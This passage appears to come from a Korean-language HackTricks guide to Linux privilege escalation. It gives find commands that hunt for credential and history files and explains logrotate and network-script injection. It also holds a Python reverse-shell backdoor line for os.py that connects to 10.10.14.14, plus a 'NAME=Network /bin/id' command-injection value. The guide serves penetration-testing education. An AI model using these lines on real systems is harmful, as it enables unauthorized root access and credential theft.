#Files owned by root, readable by me but not world readable
find / -type f -user root ! -perm -o=r 2>/dev/null
#Files owned by me or world writable
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
#Writable files by each group I belong to
for g in `groups`;
do printf "  Group $g:\n";
find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null
done
done

최근 몇 분 내에 수정된 파일

find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB 파일

find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml 파일

find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null

숨겨진 파일

find / -type f -iname ".*" -ls 2>/dev/null

PATH에 있는 스크립트/바이너리

for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done

웹 파일

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null

백업

find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null

암호를 포함할 수 있는 알려진 파일들

linPEAS 코드를 읽어보면, 비밀번호를 포함할 수 있는 여러 파일들을 검색합니다.
또 다른 흥미로운 도구로는 LaZagne가 있는데, 이는 Windows, Linux & Mac에서 로컬 컴퓨터에 저장된 많은 비밀번호를 복구하는 데 사용되는 오픈 소스 애플리케이션입니다.

로그

로그를 읽을 수 있다면, 그 안에서 흥미로운/기밀 정보를 찾을 수 있습니다. 로그가 더 이상할수록, 아마도 더 흥미로울 것입니다.
또한, 구성 상태가 “나쁜” (백도어가 심어졌을 수도 있는?) audit logs는 이 글에서 설명한 것처럼 audit logs 내에 비밀번호를 기록하도록 허용할 수 있습니다: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/]

aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null

로그를 읽기 위해서는 로그를 읽을 수 있는 그룹 adm이 매우 도움이 됩니다.

Shell files

~/.bash_profile # if it exists, read it once when you log in to the shell
~/.bash_login # if it exists, read it once if .bash_profile doesn't exist
~/.profile # if it exists, read once if the two above don't exist
/etc/profile # only read if none of the above exists
~/.bashrc # if it exists, read it every time you start a new shell
~/.bash_logout # if it exists, read when the login shell exits
~/.zlogin #zsh shell
~/.zshrc #zsh shell

일반적인 자격증명 검색/Regex

파일 이름이나 내용에 “password“라는 단어가 포함된 파일을 확인해야 하며, 로그 안의 IPs와 emails, 혹은 hashes regexps도 확인하세요.
여기서 이러한 모든 방법을 일일이 설명하진 않겠지만, 관심이 있다면 linpeas가 수행하는 마지막 검사들을 확인할 수 있습니다.

쓰기 가능한 파일

Python library hijacking

어떤 경로에서 python 스크립트가 실행될지 알고 그 폴더에 can write inside 권한이 있거나 modify python libraries 할 수 있다면, OS library를 수정해 backdoor it 할 수 있습니다 (만약 python 스크립트가 실행되는 위치에 쓸 수 있다면, os.py 라이브러리를 복사해서 붙여넣으세요).

To backdoor the library just add at the end of the os.py library the following line (change IP and PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Logrotate exploitation

logrotate의 취약점은 로그 파일이나 그 부모 디렉터리에 대해 쓰기 권한이 있는 사용자가 잠재적으로 권한 상승을 얻을 수 있게 합니다. 이는 종종 root로 실행되는 logrotate/etc/bash_completion.d/ 같은 디렉터리에서 임의의 파일을 실행하도록 조작될 수 있기 때문입니다. _/var/log_뿐만 아니라 로그 회전이 적용되는 모든 디렉터리의 권한을 확인하는 것이 중요합니다.

Tip

이 취약점은 logrotate 버전 3.18.0 및 그 이전 버전에 영향을 미칩니다

취약점에 대한 자세한 정보는 다음 페이지에서 확인할 수 있습니다: https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition.

이 취약점은 logrotten으로 악용할 수 있습니다.

이 취약점은 CVE-2016-1247 (nginx logs), 와 매우 유사하므로 로그를 변경할 수 있는 경우 누가 해당 로그를 관리하는지 확인하고 로그를 심볼릭 링크로 대체해 권한 상승이 가능한지 확인하세요.

/etc/sysconfig/network-scripts/ (Centos/Redhat)

Vulnerability reference: https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f

어떤 이유로든 사용자가 _/etc/sysconfig/network-scripts_에 ifcf-<whatever> 스크립트를 작성하거나 기존 스크립트를 수정할 수 있다면, 당신의 system is pwned.

Network scripts, ifcg-eth0 예를 들어 네트워크 연결에 사용됩니다. 이들은 .INI 파일과 거의 동일한 형식입니다. 그러나 이들은 Linux에서 Network Manager (dispatcher.d)에 의해 ~sourced~ 됩니다.

내 경우, 이러한 네트워크 스크립트에서 NAME=으로 지정된 값이 올바르게 처리되지 않습니다. 이름에 white/blank space가 있으면 시스템은 공백 뒤의 부분을 실행하려고 시도합니다. 이는 첫 번째 공백 뒤의 모든 것이 root로 실행된다는 것을 의미합니다.

예: /etc/sysconfig/network-scripts/ifcfg-1337

NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0

(Network와 /bin/id 사이의 공백에 주의하세요)

init, init.d, systemd 및 rc.d

디렉토리 /etc/init.d는 System V init (SysVinit)을 위한 스크립트가 위치한 곳입니다. 이는 전통적인 Linux 서비스 관리 시스템에 해당합니다. 이 디렉토리에는 서비스를 start, stop, restart하고 때로는 reload하기 위한 스크립트가 포함되어 있습니다. 이 스크립트들은 직접 실행되거나 /etc/rc?.d/에 있는 심볼릭 링크를 통해 실행될 수 있습니다. Redhat 계열 시스템에서는 대체 경로로 /etc/rc.d/init.d가 사용됩니다.

반면에 /etc/initUpstart와 연관되어 있으며, Ubuntu에서 도입된 더 최신의 서비스 관리 방식입니다. Upstart는 서비스 관리를 위해 구성 파일을 사용합니다. Upstart로 전환되었음에도 불구하고 호환성 계층 때문에 SysVinit 스크립트는 여전히 Upstart 구성과 함께 사용됩니다.

systemd는 현대적인 초기화 및 서비스 관리자로 등장했으며, 요청 시 데몬 시작(on-demand daemon starting), 자동 마운트 관리(automount management), 시스템 상태 스냅샷(system state snapshots)과 같은 고급 기능을 제공합니다. 배포 패키지용 파일은 /usr/lib/systemd/에, 관리자가 수정하는 파일은 /etc/systemd/system/에 정리되어 있어 시스템 관리 작업을 간소화합니다.

Other Tricks

NFS Privilege escalation

NFS no_root_squash/no_all_squash misconfiguration PE

Escaping from restricted Shells

Escaping from Jails

Cisco - vmanage

Cisco - vmanage

Android rooting frameworks: manager-channel abuse

Android rooting frameworks는 일반적으로 privileged kernel 기능을 userspace manager에 노출하기 위해 syscall을 hook합니다. 약한 manager 인증(예: FD-order 기반 서명 검사나 취약한 비밀번호 방식)은 로컬 app이 manager를 사칭하여 이미 root된 장치에서 권한을 상승시키는 것을 가능하게 할 수 있습니다. 자세한 정보와 익스플로잇 세부사항은 다음을 참고하세요:

Android Rooting Frameworks Manager Auth Bypass Syscall Hook

VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244)

VMware Tools/Aria Operations의 정규식 기반 서비스 검색(Regex-driven service discovery)은 프로세스 명령줄에서 이진 경로를 추출해 권한 있는 컨텍스트에서 -v로 실행할 수 있습니다. 관대한 패턴(예: \S 사용)은 /tmp/httpd와 같은 쓰기 가능한 위치에 공격자가 배치한 리스너와 일치할 수 있으며, 이는 root로 실행되는 결과를 초래할 수 있습니다 (CWE-426 Untrusted Search Path).

Learn more and see a generalized pattern applicable to other discovery/monitoring stacks here:

Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244

Kernel Security Protections

More help

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: https://github.com/rebootuser/LinEnum(-t option)
Enumy: https://github.com/luke-goddard/enumy
Unix Privesc Check: http://pentestmonkey.net/tools/audit/unix-privesc-check
Linux Priv Checker: www.securitysift.com/download/linuxprivchecker.py
BeeRoot: https://github.com/AlessandroZ/BeRoot/tree/master/Linux
Kernelpop: Enumerate kernel vulns ins linux and MAC https://github.com/spencerdodd/kernelpop
Mestaploit: multi/recon/local_exploit_suggester
Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
EvilAbigail (physical access): https://github.com/GDSSecurity/EvilAbigail
Recopilation of more scripts: https://github.com/1N3/PrivEsc

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기